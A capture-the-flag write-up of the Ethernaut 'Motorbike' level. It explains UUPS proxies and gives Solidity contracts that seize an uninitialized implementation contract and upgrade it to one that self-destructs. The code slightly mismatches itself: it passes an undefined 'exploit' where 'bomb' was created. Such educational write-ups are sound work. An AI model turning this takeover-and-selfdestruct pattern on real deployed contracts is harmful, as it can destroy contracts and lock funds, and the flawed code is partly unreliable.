Ethernaut 25 MotorbikeWalkthrough

Lamby (Ryan Lambert)
3 min readNov 20, 2021

--

This contract tests your understanding of proxy patterns (specifically UUPS), EVM storage, and delegatecall. (Link to challenge)

I found this challenge to be an easier version of Ethernaut Level 24: Puzzle Wallet (see walkthrough); for starters, this challenge tells you exactly what you need to read before getting started:

EIP-1967

UUPS upgradeable pattern

Initializable contract

The UUPS proxy pattern provides a lightweight “storage layer” and redirects all requests to a “logic layer” via delegatecall. To quote OpenZepplin:

The advantage of following an UUPS pattern is to have very minimal proxy to be deployed. The proxy acts as storage layer so any state modification in the implementation contract normally doesn’t produce side effects to systems using it, since only the logic is used through delegatecalls.

We are given access to the Motorbike contract, and our task is to make its Engine explode. Sound like fun?

Hint — Recall Ethernaut Level 7: Force; how does selfdestruct work? How do you ascertain the Logic Contract’s address within the UUPS pattern?

Detailed Walkthrough

Picture of us shortly after solving this challenge

Step 1 — obtain the Engine contract address

The UUPS standardizes the location of the Logic Contract. Per the EIP-1967 whitepaper:

Logic contract address [is located in slot]

0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc (obtained as bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)).

Let’s obtain that value ourselves using web3.eth.getStorageAt

await web3.eth.getStorageAt(instance, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')

Since ETH addresses are 42 characters (including the 0x) grab the last 40 and ensure it’s properly formatted

web3.utils.toChecksumAddress(${your-string}) // prints 0x${YOUR-STRING}

Hooray! Now we know the address of the Engine . Let’s head on over to Remix and blow it up.

Step 2 — Setup a malicious implementation contract

We’ll setup 2 contracts — 1 to interact with theEngine — the other to blow it up. We’ll need to

  1. Gain control of Engine by assuming the upgrader role
  2. Upgrade the implementation contract with an intitialize function which calls selfdestruct
// SPDX-License-Identifier: MIT
pragma solidity 0.7.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.4/contracts/proxy/Initializable.sol';// original Engine address
contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
address public upgrader;
uint256 public horsePower;
struct AddressSlot {
address value;
}
function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}
// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}
// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}
// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r.slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}
contract HackEngine {
Engine public originalContract = Engine(YOUR_ENGINE_ADDRESS);
event logEvent(bool, bytes);

function attackEngine() external {
(bool success, bytes memory data) = address(originalContract).call(abi.encodeWithSignature('initialize()'));
emit logEvent(success, data);
}

function destroyWithBomb() external {
// pass in a bomb which blows up when initialize is called
Bomb bomb = new Bomb();

(bool success, bytes memory data) = address(originalContract).call(abi.encodeWithSignature('upgradeToAndCall(address,bytes)',address(exploit), abi.encodeWithSignature("initialize()")));
emit logEvent(success, data);
}
}contract Bomb {function initialize() external {
selfdestruct(msg.sender);
}
}

Go ahead and deploy it and execute attackEngine and destroyWithBomb and check the event logs to ensure it was successful. If so, you should be able to visit YOUR_ENGINE_ADDRESS in etherscan and see a selfdestruct event

Key Takeaways

  1. Proxy patterns allow for upgradability of the “Logic / Implementation” layer by relying on delegatecall
  2. Anytime we use delegatecall we need to be very careful with how and when it’s accessed, as it allows anyone to call any contract’s code within the context of our own

--

--